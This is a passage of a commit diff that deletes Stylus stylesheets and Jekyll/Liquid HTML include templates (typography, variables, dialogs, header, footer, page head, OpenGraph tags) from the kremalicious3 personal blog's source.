overflow-x: auto
min-height: 0.01% // Workaround for IE9 bug (see https://github.com/twbs/bootstrap/issues/14837)
@media (max-width: $screen-xs-min)
width: 100%
margin-bottom: ($spacer * 0.75)
overflow-y: hidden
-webkit-overflow-scrolling: touch
-ms-overflow-style: -ms-autohiding-scrollbar
// Tighten up spacing
> table
margin-bottom: 0
// Ensure the content doesn't wrap
> thead,
> tbody,
> tfoot
> tr
> th,
> td
white-space: nowrap
padding: .5em .2em

4
_src/_assets/styl/_kremalicious/tagcloud.styl
View File

@ -1,4 +0,0 @@
.tagcloud__tag
@extend .link--nounderline
padding: .3rem .5rem

52
_src/_assets/styl/_kremalicious/tooltips.styl
View File

@ -1,52 +0,0 @@
//
// kremalicious3
// --------------
// Tooltips
//
// Base class
.tooltip
position: absolute
z-index: 1000
display: block
// Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.
// So reset our font and text properties to avoid inheriting weird values.
font-family: $font-family-base
// We deliberately do NOT reset font-size.
font-style: normal
font-weight: normal
letter-spacing: normal
line-break: auto
line-height: $line-height
text-align: left; // Fallback for where `start` is not supported
text-align: start
text-decoration: none
text-shadow: none
text-transform: none
white-space: normal
word-break: normal
word-spacing: normal
word-wrap: normal
font-size: $font-size-mini
opacity: 0
&.in
opacity: .8
&.top
margin-top: -1px
&.right
margin-left: 1px
&.bottom
margin-top: 1px
&.left
margin-left: -1px
// Wrapper for the tooltip content
.tooltip-inner
max-width: 120px
padding: 4px 8px
color: $tooltip-color
text-align: center
background-color: $tooltip-bg
border-radius: $border-radius-base

321
_src/_assets/styl/_kremalicious/typography.styl
View File

@ -1,321 +0,0 @@
//
// kremalicious3
// --------------
// Typography
//
// Base
/////////////////////////////////////
// Body reset
html
font-size: $font-size-root-xs
@media $screen-xs
font-size: $font-size-root
@media $screen-lg
font-size: $font-size-root-lg
body
font-family: $font-family-base
font-weight: $font-weight-base
font-size: $font-size-base
line-height: $line-height
color: $font-color-base
background: $body-bg
// handling long text, like URLs
overflow-wrap: break-word
word-wrap: break-word
word-break: break-word
text-rendering: optimizeLegibility
// Controversial! But prevents text flickering in
// Safari/Firefox when animations are running
-webkit-font-smoothing: antialiased
-moz-osx-font-smoothing: grayscale
-moz-font-feature-settings: 'liga', 'kern'
letter-spacing: -.01em
p,
ul,
ol
margin: 0 0 $spacer
// Reset fonts for relevant elements
/////////////////////////////////////
input,
button,
select,
textarea
font-family: inherit
font-size: inherit
line-height: inherit
// Headings
/////////////////////////////////////
h1, h2, h3, h4, h5, h6,
.h1, .h2, .h3, .h4, .h5, .h6
font-family: $headings-font-family
line-height: $headings-line-height
color: $headings-color
font-weight: 500
letter-spacing: -.04em
h1, .h1,
h2, .h2
margin-top: ($spacer*2)
margin-bottom: ($spacer*2)
h3, .h3
h4, .h4,
h5, .h5,
h6, .h6
margin-top: $spacer
margin-bottom: $spacer
h1, .h1
font-size: $font-size-h2
@media $screen-xs
font-size: $font-size-h1
h2, .h2
font-size: $font-size-h3
@media $screen-xs
font-size: $font-size-h2
h3, .h3
font-size: $font-size-h4
@media $screen-xs
font-size: $font-size-h3
h4, .h4
font-size: $font-size-h5
@media $screen-xs
font-size: $font-size-h4
h5, .h5
font-size: $font-size-h6
@media $screen-xs
font-size: $font-size-h5
h6, .h6
font-size: $font-size-h6
// Links
/////////////////////////////////////
a,
.link
color: $link-color
text-decoration: none
transition: .2s ease-in-out
&:hover,
&:focus
outline: 0
color: $link-color-hover
box-shadow: inset 0 -1px 0 rgba($link-color-hover, 70%)
&:active
transition: none
color: darken($link-color, 30%)
box-shadow: inset 0 -1px 0 darken($link-color, 30%)
h1 &,
h2 &,
h3 &
color: $headings-color
.link--nounderline
&,
&:hover,
&:focus,
&:active
box-shadow: none
// Lists
/////////////////////////////////////
ul,
ol
margin-top: 0
margin-bottom: $spacer
padding-left: ($spacer * 1.5)
list-style: none
li
position: relative
&:before
position: absolute
left: -($spacer * 1.5)
top: -1px
color: $text-color-light
user-select: none
ul
li
&:before
content: " \2015" // horizontal bar: ― &#8213;
ol
counter-reset: ol-counter
li
&:before
content: counter(ol-counter)'.'
counter-increment: ol-counter
ul li:before
display: none
ul,
ol
ul,
ol
margin-bottom: 0
// List options
// Unstyled keeps list items block level, just removes default browser padding and list-style
list-unstyled()
padding-left: 0
list-style: none
display: block
li:before
display: none
.list-unstyled
list-unstyled()
nav
ul,
ol
@extend .list-unstyled
// Inline turns list items into inline-block
.list-inline
@extend .list-unstyled
> li
display: inline-block
padding-left: 5px
padding-right: 5px
&:first-child
padding-left: 0
// Inline typography
/////////////////////////////////////
p, li
hyphens: auto
b,
strong,
.bold
font-weight: 700
font-style: normal
em,
.italic
font-style: italic
hr
@extend .divider-bottom
border-top: 0
border-left: 0
border-right: 0
margin-bottom: ($spacer*2)
.large
font-size: $font-size-large-xs
@media $screen-xs
font-size: $font-size-large
.small
font-size: $font-size-small
.mini
font-size: $font-size-mini
abbr[title],
dfn
text-transform: none
font-style: normal
font-size: inherit
border-bottom: 1px dashed $brand-grey-dimmed
cursor: help
font-feature-settings: inherit
mark
background: #FFFAAB
color: $text-color
sup
@extend .small
.text-dimmed
color: $text-color-light
// Quotes
/////////////////////////////////////
q
@extend .italic
cite
font-style: normal
text-transform: uppercase
blockquote,
blockquote > p
@extend .italic, .text-dimmed
blockquote
padding-left: 25px
margin: 0 0 $spacer
position: relative
padding-left: 20px
@media $screen-xs
padding-left: 40px
@media $screen-lg
padding-left: 60px
// quotation marks
&:before
content: "“"
font-size: 300%
color: lighten($text-color, 40%)
position: absolute
left: -10px
top: -20px
@media $screen-xs
left: 0
@media $screen-lg
top: -30px
p:last-child
margin-bottom: 0
// Selection
/////////////////////////////////////
::-moz-selection { background: #2e4f5c; color: #fff; }
::selection { background: #2e4f5c; color: #fff; }

166
_src/_assets/styl/_kremalicious/variables.styl
View File

@ -1,166 +0,0 @@
//
// kremalicious3
// --------------
// Global variables & settings
//
// Settings
/////////////////////////////////////
vendors = official // Stylus' @keyframes settings
// Asset Paths
/////////////////////////////////////
$img-path = '/assets/img/'
$font-path = '/assets/fonts/'
// Colors
/////////////////////////////////////
$brand-dark = #015565
$brand-light = #e7eef4
$brand-cyan = #43a699
$brand-grey = #6b7f88
$brand-grey-light = lighten($brand-grey, 20%)
$brand-grey-dimmed = lighten($brand-grey, 60%)
// Text Colors
/////////////////////////////////////
$text-color = $brand-grey
$text-color-light = $brand-grey-light
// Typography
/////////////////////////////////////
$font-size-root-xs = 16px
$font-size-root = 18px
$font-size-root-lg = 20px
$font-size-base = 1rem
$font-size-large-xs = 1.15rem
$font-size-large = 1.45rem
$font-size-small = 0.8rem
$font-size-mini = 0.6rem
$font-size-h1 = 3rem
$font-size-h2 = 2rem
$font-size-h3 = 1.75rem
$font-size-h4 = $font-size-large
$font-size-h5 = $font-size-base
$font-size-h6 = $font-size-small
$line-height = 1.5
$line-height-large = 1.4
$line-height-small = 1.1428571429
$font-family-base = 'ff-tisa-sans-web-pro', 'Trebuchet MS', 'Helvetica Neue', Helvetica, Arial, sans-serif
$font-weight-base = 400
$font-color-base = $text-color
$font-family-monospace = Menlo, Monaco, Consolas, 'Courier New', monospace
$headings-font-family = 'brandon-grotesque', 'Avenir Next', 'Helvetica Neue',Helvetica,Arial,sans-serif
$headings-font-weight = 500 // Medium
$headings-line-height = 1.1
$headings-color = $brand-dark
// Scaffolding
/////////////////////////////////////
$body-bg = #dfe8ef
$page-bg = $brand-light
// Links
/////////////////////////////////////
$link-color = $brand-cyan
$link-color-hover = lighten($link-color, 15%)
// Grid
/////////////////////////////////////
$gutter-space = $spacer
// Components spacing
/////////////////////////////////////
$spacer = ($font-size-base * $line-height)
$border-radius-base = 3px
$border-radius-small = $border-radius-base
$border-radius-large = $border-radius-base
$padding-base-vertical = 8px
$padding-base-horizontal = 12px
$padding-small-vertical = ($padding-base-vertical / 2)
$padding-small-horizontal = ($padding-base-horizontal / 2)
$padding-large-vertical = ($padding-base-vertical * 2)
$padding-large-horizontal = ($padding-base-horizontal * 2)
// Forms
/////////////////////////////////////
$input-bg = alpha(#fff, .85)
$input-bg-focus = #fff
$input-bg-disabled = $brand-grey-light
$input-font-size = $font-size-base
$input-font-weight = $font-weight-base
$input-color = $font-color-base
$input-color-placeholder = rgba(46, 79, 92, .3)
$input-border = $brand-grey-light
$input-border-radius = $border-radius-base
$input-border-focus = $brand-cyan
// Code
/////////////////////////////////////
$code-bg = #343642
$code-color = $brand-light
$kbd-bg = $code-bg
$kbd-color = $code-color
// Responsive breakpoints
/////////////////////////////////////
$screen-xs-min = 30em
$screen-sm-min = 40.625em
$screen-md-min = 60em
$screen-lg-min = 87.500em
$screen-xs = 'only screen and (min-width: 30em)'
$screen-sm = 'only screen and (min-width: 40.625em)'
$screen-md = 'only screen and (min-width: 60em)'
$screen-lg = 'only screen and (min-width: 87.500em)'
// High dpi media query
/////////////////////////////////////
$highDPI = 'print, (-o-min-device-pixel-ratio: 5/4), (-webkit-min-device-pixel-ratio: 1.25), (min-resolution: 120dpi) '
$highDPI_3x = 'print, (-webkit-min-device-pixel-ratio: 3), (min-resolution: 344dpi) '
// Tooltips
/////////////////////////////////////
$tooltip-color = #fff
$tooltip-bg = darken($brand-dark, 15%)

121
_src/_assets/styl/_kremalicious/vex.styl
View File

@ -1,121 +0,0 @@
.vex,
.vex *,
.vex *:before,
.vex *:after
box-sizing: border-box
.vex
position: fixed
overflow: auto
-webkit-overflow-scrolling: touch
z-index: 1111
top: 0
right: 0
bottom: 0
left: 0
.vex-scrollbar-measure
position: absolute
top: -9999px
width: 50px
height: 50px
overflow: scroll
.vex-content
animation: vex-fadein .3s
background: #fff
.vex.vex-closing &
animation: vex-fadeout .2s
.vex-dialog-form
margin: 0 // Browser reset
.vex-dialog-button
text-rendering: optimizeLegibility
appearance: none
cursor: pointer
-webkit-tap-highlight-color: transparent
// Prevent background scrolling when vex is open
// https://github.com/HubSpot/vex/issues/18
body.vex-open
overflow: hidden
//
// Custom theme
//
.vex-theme-kremalicious
display: flex
align-items: center
justify-content: center
background: alpha($body-bg, .9)
backdrop-filter: blur(5px)
animation: vex-fadein .3s
.vex.vex-closing &
animation: vex-fadeout .3s
.vex-content
background: transparent
padding: 0
position: relative
width: 100%
max-width: $screen-xs-min
border-radius: $border-radius-base
border: 1px solid alpha($brand-grey-light, .4)
box-shadow: 0 5px 30px alpha($brand-grey-light, .2)
padding: 0 $spacer
.vex__title
@extend .h4
margin-top: ($spacer/2)
margin-left: -($spacer)
margin-right: -($spacer)
border-bottom: 1px solid alpha($brand-grey-light, .4)
padding-bottom: ($spacer/2)
.vex-dialog-buttons
margin-top: $spacer
border-top: 1px solid alpha($brand-grey-light, .4)
padding-top: ($spacer/2)
.vex-dialog-button
@extend .btn
.vex-dialog-button-primary
@extend .btn-primary
.vex-close
@extend .close
position: absolute
top: ($spacer/4)
right: ($spacer/2)
&:before
@extend .close
content: "\00D7" // &times;
display: block
color: $brand-grey
font-weight: 500
&:hover,
&:focus
&:before
color: $link-color
//
// Overlay/content animations
//
@keyframes vex-fadein
0%
opacity: 0
100%
opacity: 1
@keyframes vex-fadeout
0%
opacity: 1
100%
opacity: 0

68
_src/_assets/styl/_page-404.styl
View File

@ -1,68 +0,0 @@
//
// kremalicious3
// --------------
// Page - 404
//
.page-404
@extend .textcenter
.entry-title
@extend .hide
.srverror-title
font-size: 2em
margin-bottom: ($spacer/4)
color: $text-color-light
.srverror-text
@extend .text-dimmed
font-size: 1.2em
letter-spacing: .01em
// HAL needs a size
$hal-size = 72px
.hal-9000
@extend .textcenter, .aligncenter
width: $hal-size
height: $hal-size
border-radius: $hal-size
background: #444
padding: 1.5em
margin-top: $spacer
margin-bottom: $spacer
position: relative
border: 4px solid #ccc
box-shadow: inset 0 0 10px #000
// eye
&:before
content: ""
width: 100%
height: 100%
border-radius: 100%
display: block
background: red
box-shadow: 0 0 5px red, 0 0 10px red, 0 0 15px red, 0 0 20px red, 0 0 25px red, 0 0 30px red, 0 0 40px red
animation: halpulse 7s infinite
// gloss
&:after
content: ""
position: absolute
width: $hal-size
height: $hal-size
border-radius: $hal-size
position: absolute
left: 0
top: 0
background-image: linear-gradient(135deg, rgba(255,255,255,0.07) 0%,rgba(255,255,255,0.07) 40%,rgba(255,255,255,0) 41%)
@keyframes halpulse
0%
opacity: 1
50%
opacity: .6
100%
opacity: 1

52
_src/_assets/styl/_page-styleguide.styl
View File

@ -1,52 +0,0 @@
//
// Colors
//
.color__swatch
padding: $spacer
border: 1px solid $brand-grey-dimmed
margin-bottom: ($spacer / 3)
border-radius: $border-radius-large
.color__name,
.color__hex
@extend .small
font-family: $font-family-monospace
display: block
// colors
.brand-dark
background: $brand-dark
.brand-light
background: $brand-light
.brand-cyan
background: $brand-cyan
.brand-grey
background: $brand-grey
.brand-grey-light
background: $brand-grey-light
.brand-grey-dimmed
background: $brand-grey-dimmed
//
// Fonts
//
.font__name
font-size: 5vw
.font__name--brandon
font-family: $headings-font-family
line-height: $headings-line-height
color: $headings-color
font-weight: $headings-font-weight
.font__name--fftisa
font-family: $font-family-base
color: $text-color
font-weight: $font-weight-base

67
_src/_assets/styl/kremalicious3.styl
View File

@ -1,67 +0,0 @@
//
// kremalicious3
// --------------
//
//
// Normalize all the things
@import '../../../node_modules/normalize-css/normalize.css'
@import '../../../node_modules/normalize-opentype.css/normalize-opentype.css'
// Core variables and mixins
@import '_kremalicious/variables'
@import '_kremalicious/mixins'
// Core CSS
@import '_kremalicious/typography'
@import '_kremalicious/animations'
@import '_kremalicious/grid'
@import '_kremalicious/layout'
@import '_kremalicious/forms'
@import '_kremalicious/buttons'
@import '_kremalicious/icons'
@import '_kremalicious/media'
@import '_kremalicious/tables'
@import '_kremalicious/code'
@import '_kremalicious/syntax'
@import '_kremalicious/alerts'
@import '_kremalicious/vex'
// Content
@import '_kremalicious/content'
@import '_kremalicious/content-photo'
@import '_kremalicious/content-link'
@import '_kremalicious/content-featured'
@import '_kremalicious/content-related'
// Components
@import '_kremalicious/header'
@import '_kremalicious/navigation'
@import '_kremalicious/hamburger'
@import '_kremalicious/search'
@import '_kremalicious/tooltips'
@import '_kremalicious/footer'
@import '_kremalicious/actions'
@import '_kremalicious/tagcloud'
// Pages
@import '_page-404'
@import '_page-styleguide'
// Print
@import '_kremalicious/print'
.coinhive
position: fixed
bottom: 0
right: 0
z-index: 3
font-size: $font-size-mini
padding: ($spacer / 5) ($spacer / 2)
background: rgba($page-bg, .5)
border-top-left-radius: 4px
.coinhive__hashrate
opacity: .6

71
_src/_assets/styl/post-kbd.styl
View File

@ -1,71 +0,0 @@
//
// kremalicious3
// --------------
// kbdfun
//
@import '_kremalicious/variables'
kbd
font-size: 18px
color: #444444
font-family: "Lucida Grande", Lucida, Verdana, sans-serif
font-weight: normal
font-style: normal
text-align: center
line-height: 1em
text-shadow: 0 1px 0 #fff
display: inline
padding: .3em .55em
border-radius: 6px
background-clip: padding-box
border: 1px solid #bbb
background-color: #f7f7f7
background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0))
background-repeat: repeat-x
box-shadow: 0px 2px 0 #bbbbbb, 0 3px 1px #999999, 0 3px 0 #bbbbbb, inset 0 1px 1px #ffffff, inset 0 -1px 3px #cccccc
kbd.dark
color: #eeeeee
text-shadow: 0 -1px 0 #000000
border-color: #000
background-color: #4d4c4c
background-image: linear-gradient(rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0))
background-repeat: no-repeat
box-shadow: 0px 2px 0 #000000, 0 3px 1px #999999, inset 0 1px 1px #aaaaaa, inset 0 -1px 3px #272727
kbd.ios
font-family: Helvetica, "Helvetica Neue", Arial, sans-serif
color: #000
border-color: rgba(0, 0, 0, 0.6)
border-top-color: rgba(0, 0, 0, 0.4)
background-color: #b7b7bc
background-image: linear-gradient(to bottom, #efeff0, #b7b7bc)
background-repeat: repeat-x
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.6), 0 2px 3px rgba(0, 0, 0, 0.1), inset 0 1px 0 #ffffff
kbd.android
font-family: 'RobotoRegular', "Helvetica Neue", Helvetica, Arial, sans-serif
color: #ffffff
text-shadow: none
padding: .3em
border: 1px solid rgba(0, 0, 0, 0.05)
border-radius: 3px
background-clip: padding-box
background: #5e5e5e
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 1px 0 #444444, inset 0 1px 0 #868686
kbd.android.dark
background: #222222
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.7), 0 1px 0 #444444, inset 0 1px 0 #505050
kbd.android.color
background: #083c5b
box-shadow: 0 2px 2px rgba(0, 0, 0, 0.7), 0 1px 0 #444444, inset 0 1px 0 #36647b
@font-face
font-family: 'RobotoRegular'
src: url('../fonts/Roboto-Regular-webfont.eot')
src: url('../fonts/Roboto-Regular-webfont.eot?#iefix') format('embedded-opentype'), url('../fonts/Roboto-Regular-webfont.woff') format('woff'), url('../fonts/Roboto-Regular-webfont.ttf') format('truetype'), url('../fonts/Roboto-Regular-webfont.svg#RobotoRegular') format('svg')
font-weight: normal
font-style: normal

14
_src/_data/colors.yml
View File

@ -1,14 +0,0 @@
- name: brand-dark
hex: '015565'
- name: brand-light
hex: 'e7eef4'
- name: brand-cyan
hex: '3a9085'
- name: brand-grey
hex: '6b7f88'
- name: brand-grey-light
hex: '96a6ad'
- name: brand-grey-dimmed
hex: 'D8E0E5'

23
_src/_includes/actions.html
View File

@ -1,23 +0,0 @@
<aside class="actions">
<div class="grid grid--gutters grid--full grid-small--half">
<div class="grid__col">
<article class="action twitter">
<svg class="icon icon-twitter">
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
</svg>
<h1 class="action__title">Have a comment?</h1>
<p class="action__text">Hit me up <a href="https://twitter.com/intent/tweet?text=@kremalicious&url={{ site.url }}{{ page.url }}">@{{ site.author.twitter }}</a></p>
</article>
</div>
<div class="grid__col">
<article class="action donate">
<svg class="icon icon-bitcoin">
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
</svg>
<h1 class="action__title">Found something useful?</h1>
<p class="action__text">Say thanks <a href="#" class="js-vex-btc">with Bitcoins or Ether.</a></p>
</article>
</div>
</div>
</aside>

108
_src/_includes/articles.html
View File

@ -1,108 +0,0 @@
{% if post.layout == "link" %}
<article class="hentry format-link">
<header class="entry-header">
<h1 class="entry-title">
<a href="{{ post.linkurl }}" title="Go to source: {{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' }}">
{{ post.title | titlecase }}
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
<span class="linkurl">{{ post.linkurl | remove:'http://' | remove:'https://' | remove:'www.' | split:'/' | first }}</span>
</a>
</h1>
</header>
<section class="entry-content">
{{ post.content }}
<p>
<a class="more-link" href="{{ post.linkurl }}">Go to source
<svg class="icon icon-forward">
<use xlink:href="/assets/img/sprite.svg#forward"></use>
</svg>
</a>
<a class="permalink-link" href="{{ post.url }}" data-toggle="tooltip" title="Permalink">
<svg class="icon icon-infinity">
<use xlink:href="/assets/img/sprite.svg#infinity"></use>
</svg>
</a>
</p>
</section>
</article>
{% elsif post.layout == "photo" %}
<article class="hentry format-photo">
<a class="photo-link" href="{{ post.url }}">
<figure class="hentry__teaser hmedia">
{% include picture.html size='phototeaser' %}
<figcaption class="entry-title fn">{{ post.title | titlecase }}</figcaption>
</figure>
</a>
</article>
{% else %}
<article class="hentry format-post">
<header class="entry-header">
<h1 class="entry-title"><a href="{{ post.url }}">{{ post.title | titlecase }}</a></h1>
</header>
<section class="entry-content">
{% if post.image %}
<a class="hentry__teaser hentry__teaser--link" href="{{ post.url }}">
{% include picture.html %}
</a>
{% endif %}
{% capture has_more %}{{ post.content | has_excerpt }}{% endcapture %}
{% unless post.categories contains "goodies" and page.path contains "goodies" %}
{{ post.excerpt }}
{% endunless %}
{% if post.categories contains "goodies" and page.path contains "goodies" %}
<footer class="goodie-actions grid grid--gutters grid--full grid-small--fit">
<p class="info grid__col">
<a class="btn icon icon-info" href="{{ post.url }}">
<svg class="icon icon-info-with-circle">
<use xlink:href="/assets/img/sprite.svg#info-with-circle"></use>
</svg>
Release Post
</a>
</p>
{% if post.download %}
<p class="download grid__col">
<a class="btn" href="/media/{{ post.download }}">
<svg class="icon icon-arrow-with-circle-down">
<use xlink:href="/assets/img/sprite.svg#arrow-with-circle-down"></use>
</svg>
Download <span>zip</span>
</a>
</p>
{% endif %}
</footer>
{% endif %}
{% unless page.path contains "goodies" %}
<a class="more-link" href="{{ post.url }}">
Continue reading
<svg class="icon icon-chevron-right">
<use xlink:href="/assets/img/sprite.svg#chevron-right"></use>
</svg>
</a>
{% endunless %}
</section>
</article>
{% endif %}

31
_src/_includes/entry_meta.html
View File

@ -1,31 +0,0 @@
<footer class="entry-meta">
<p class="byline author vcard source-org">
<span class="by">by</span> <a class="fn" rel="author" href="{{ site.author.uri }}">
{% if page.author %}
{{ page.author }}
{% else %}
{{ site.author.name }}
{% endif %}
</a>
</p>
<p class="time">
<time-ago class="pubdate" datetime="{{ page.date | date_to_xmlschema }}" pubdate{% if page.updated %} data-updated="true"{% endif %}>{{ page.date | date_to_string }}</time-ago>
{% if page.updated %} &bull; updated <time-ago class="updated" datetime="{{ page.updated | date_to_xmlschema }}">{{ page.updated | date_to_string }}</time-ago>{% endif %}
</p>
<p class="categories">
{% for category in page.categories %}
<a class="category" href="/{{ category }}">{{ category }}</a>
{% endfor %}
</p>
<p class="tags">
{% for tag in page.tags %}
<a class="tag" href="/tag/{{ tag }}">{{ tag }}</a>
{% endfor %}
</p>
</footer>

15
_src/_includes/featured.html
View File

@ -1,15 +0,0 @@
<aside class="featured">
<div class="grid grid--fit grid-medium--gutters">
{% for post in site.posts %}
{% if post.featured %}
<article class="grid__col">
<a class="hentry__teaser featured-link" href="{{ post.url }}" title="{{ post.title }}">
{% include picture.html size='featured' %}
<h1 class="featured-title">{{ post.title | titlecase }}</h1>
</a>
</article>
{% endif %}
{% endfor %}
</div>
</aside>

69
_src/_includes/footer.html
View File

@ -1,69 +0,0 @@
<footer role="contentinfo" class="site__footer">
<div class="footer__content">
<div class="container">
<div class="vcard author">
<img class="avatar photo" src="/assets/img/avatar.jpeg" />
<p class="footer-description">Blog of designer &amp; developer <a class="fn" rel="author" href="{{ site.author.uri }}">{{ site.author.name }}</a>
<p>
<a class="link twitter" href="https://twitter.com/{{ site.author.twitter }}">
<svg class="icon icon-twitter">
<use xlink:href="/assets/img/sprite.svg#twitter"></use>
</svg>
</a>
<a class="link github" href="https://github.com/{{ site.author.github }}">
<svg class="icon icon-github">
<use xlink:href="/assets/img/sprite.svg#github"></use>
</svg>
</a>
<a class="link facebook" href="https://www.facebook.com/{{ site.author.facebook }}">
<svg class="icon icon-facebook">
<use xlink:href="/assets/img/sprite.svg#facebook"></use>
</svg>
</a>
</p>
</div>
<aside class="subscribe">
<h1 class="subscribe-title">Subscribe</h1>
<p>
<a class="link rss" href="http://kremalicious.com/feed.xml" title="RSS Feed">
<svg class="icon icon-rss">
<use xlink:href="/assets/img/sprite.svg#rss"></use>
</svg>
</a>
<a class="link json" href="http://kremalicious.com/feed.json" title="JSON Feed">
<svg class="icon icon-jsonfeed">
<use xlink:href="/assets/img/sprite.svg#jsonfeed"></use>
</svg>
</a>
</p>
</aside>
<section class="footer-copyright">
<p>&copy; 2005&ndash;{{ site.time | date: "%Y" }} <a href="http://matthiaskretschmann.com" rel="me">Matthias Kretschmann</a></p>
<p>
<a href="https://github.com/kremalicious/kremalicious3/blob/master/_src/{{ page.path }}">
<svg class="icon icon-github">
<use xlink:href="/assets/img/sprite.svg#github"></use>
</svg>
View source
</a>
<a href="#" class="footer__btc js-vex-btc">
<svg class="icon icon-bitcoin">
<use xlink:href="/assets/img/sprite.svg#bitcoin"></use>
</svg>
<code>{{ site.author.bitcoin }}</code>
</a>
</p>
</section>
</div>
</div>
</footer>
{% include scripts.html %}

103
_src/_includes/head.html
View File

@ -1,103 +0,0 @@
<!DOCTYPE html>
<!--
___ ___
/__/\ /__/|
| |::\ | |:|
| |:|:\ | |:|
__|__|:|\:\ __| |:|
/__/::::| \:\ /__/\_|:|____
\ \:\~~\__\/ \ \:\/:::::/
\ \:\ \ \::/~~~~
\ \:\ \ \:\
\ \:\ \ \:\
\__\/ \__\/
YOU EARNED THE GEEK ACHIEVEMENT
FOR LOOKING AT MY SOURCE
But because of all the minimizing and caching
going on you better check out the code on
github
_____________________________________________
https://github.com/kremalicious/kremalicious3
_____________________________________________
-->
<html lang="en">
<head>
<meta charset="utf-8">
<title>
{% if paginator.previous_page %}
Page {{ paginator.page }} &brvbar; {{ site.name }}
{% elsif page.title %}
{{ page.title }} &brvbar; {{ site.name }}
{% else %}
{{ site.name }} &brvbar; {{ site.description }}
{% endif %}
</title>
{% if page.description %}
<meta name="description" content="{{ page.description }}">
{% elsif page.front_page %}
<meta name="description" content="{{ site.description }}">
{% else %}
<meta name="description" content="{{ page.excerpt | strip_html | strip_newlines }}" />
{% endif %}
<meta name="author" content="{% if page.author %}{{ page.author }}{% else %}{{ site.author.name }}{% endif %}">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="HandheldFriendly" content="True">
<meta name="MobileOptimized" content="320">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="cleartype" content="on">
<link rel="stylesheet" href="/assets/css/kremalicious3.min.css">
{% if page.style %}
<link rel="stylesheet" href="/assets/css/{{ page.style }}">
{% endif %}
<!-- Prevent search indexing for some pages -->
{% if page.sitemap == false %}
<meta name="robots" content="noindex,nofollow">
{% endif %}
<!-- TypeKit -->
<link rel="preload" href="https://use.typekit.net/msu4qap.css" as="style" crossorigin>
<link rel="stylesheet" href="https://use.typekit.net/msu4qap.css">
<!-- Canonical URL -->
<link rel="canonical" href="{{ site.url}}{{ page.url | replace:'index.html','' }}">
<!-- Atom feed -->
<link href="{{ site.url }}/feed.xml" rel="alternate" type="application/atom+xml" title="{{ site.name }} posts feed" />
<!-- json feed -->
<link href="{{ site.url }}/feed.json" rel="alternate" type="application/json" title="{{ site.name }} posts feed" />
<!-- Apple -->
<meta name="apple-mobile-web-app-title" content="kremalicious">
<!-- Touch Icons -->
<link rel="apple-touch-icon" href="/assets/img/apple-touch-icon.png">
<link rel="icon" type="image/png" href="/assets/img/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="/assets/img/favicon-96x96.png" sizes="96x96">
<link rel="icon" type="image/png" href="/assets/img/touch-icon-192x192.png" sizes="192x192">
<link rel="mask-icon" href="/assets/img/favicon-mask.svg" color="#015565">
<meta name="msapplication-TileImage" content="{{ site.url }}/assets/img/metro-tile.png"/>
<meta name="msapplication-TileColor" content="#015565"/>
<meta name="theme-color" content="#015565">
<!-- OpenGraph -->
{% include opengraph.html %}
<!-- Twitter Cards -->
{% include twittercards.html %}
<!-- Google Authorship -->
<link href="https://plus.google.com/+MatthiasKretschmann" rel="author"/>
<!-- https://cloudinary.com/documentation/responsive_images#automating_responsive_images_with_client_hints -->
<meta http-equiv="Accept-CH" content="DPR, Viewport-Width, Width">
</head>

57
_src/_includes/header.html
View File

@ -1,57 +0,0 @@
<header role="banner" class="site__header">
<div class="header__content">
<div class="container">
<div class="grid grid--half">
<div class="grid__col">
<h1 class="header__title">
<a class="header__logo" href="/">kremalicious</a>
</h1>
</div>
<nav role="navigation" class="nav-main grid__col">
<button type="button" class="menu-btn">
<div class="hamburger">
<span></span>
<span></span>
<span></span>
</div>
</button>
</nav>
<section class="site-search">
<button type="button" class="search-btn">
<svg class="icon icon-search" role="img" aria-labelledby="title">
<title id="title">Search</title>
<use xlink:href="/assets/img/sprite.svg#magnifying-glass"></use>
</svg>
</button>
<div class="search-area">
<input type="search" id="search-input" class="form-control input-search search-field" placeholder="Search everything">
<button class="close search-close">&times;</button>
</div>
</section>
</div>
<ul class="nav-popover grid grid--half grid-medium--third">
{% for category in site.categories %}
<li class="grid__col">
<a class="nav-link" href="/{{ category | first }}/">
{{ category | first }}
</a>
</li>
{% endfor %}
</ul>
</div>
</div>
</header>
<div id="search-popover" class="search-popover hide">
<div class="container">
<nav id="search-results" class="search-results"></nav>
</div>
</div>

36
_src/_includes/opengraph.html
View File

@ -1,36 +0,0 @@
<meta content="{{ site.name }}" property="og:site_name">
{% if page.title %}
<meta content="{{ page.title }}" property="og:title">
{% else %}
<meta content="{{ site.name }}" property="og:title">
{% endif %}
{% if page.title %}
<meta content="article" property="og:type">
<meta content="https://matthiaskretschmann.com" property="article:author">
{% else %}
<meta content="website" property="og:type">
{% endif %}
{% if page.description %}
<meta content="{{ page.description }}" property="og:description">
{% elsif page.front_page %}
<meta content="{{ site.description }}" property="og:description">
{% else %}
<meta content="{{ page.excerpt | strip_html | strip_newlines }}" property="og:description">
{% endif %}
{% if page.url %}
<meta content="{{ site.url}}{{ page.url | replace:'index.html','' }}" property="og:url">
{% endif %}
{% if page.date %}
<meta content="{{ page.date | date_to_xmlschema }}" property="article:published_time">
{% endif %}
{% if page.image %}
<meta content="{{ site.media_url }}/w_940/media/{{ post.image }}" property="og:image">
{% else %}
<meta content="{{ site.url }}/assets/img/kremalicious1024.png" property="og:image">
{% endif %}
{% if page.categories %}
{% for category in page.categories limit:1 %}
<meta content="{{ category }}" property="article:section">
{% endfor %}
{% endif %}

43
_src/_includes/paginator.html
View File

@ -1,43 +0,0 @@
{% if paginator.total_pages > 1 %}
<nav class="paginator">
{% if paginator.previous_page %}
<a class="paginator__link"
{% if paginator.previous_page == 1 %}
href="/">
{% else %}
href="/page/{{paginator.previous_page}}">
{% endif %}
<svg class="icon icon-chevron-left">
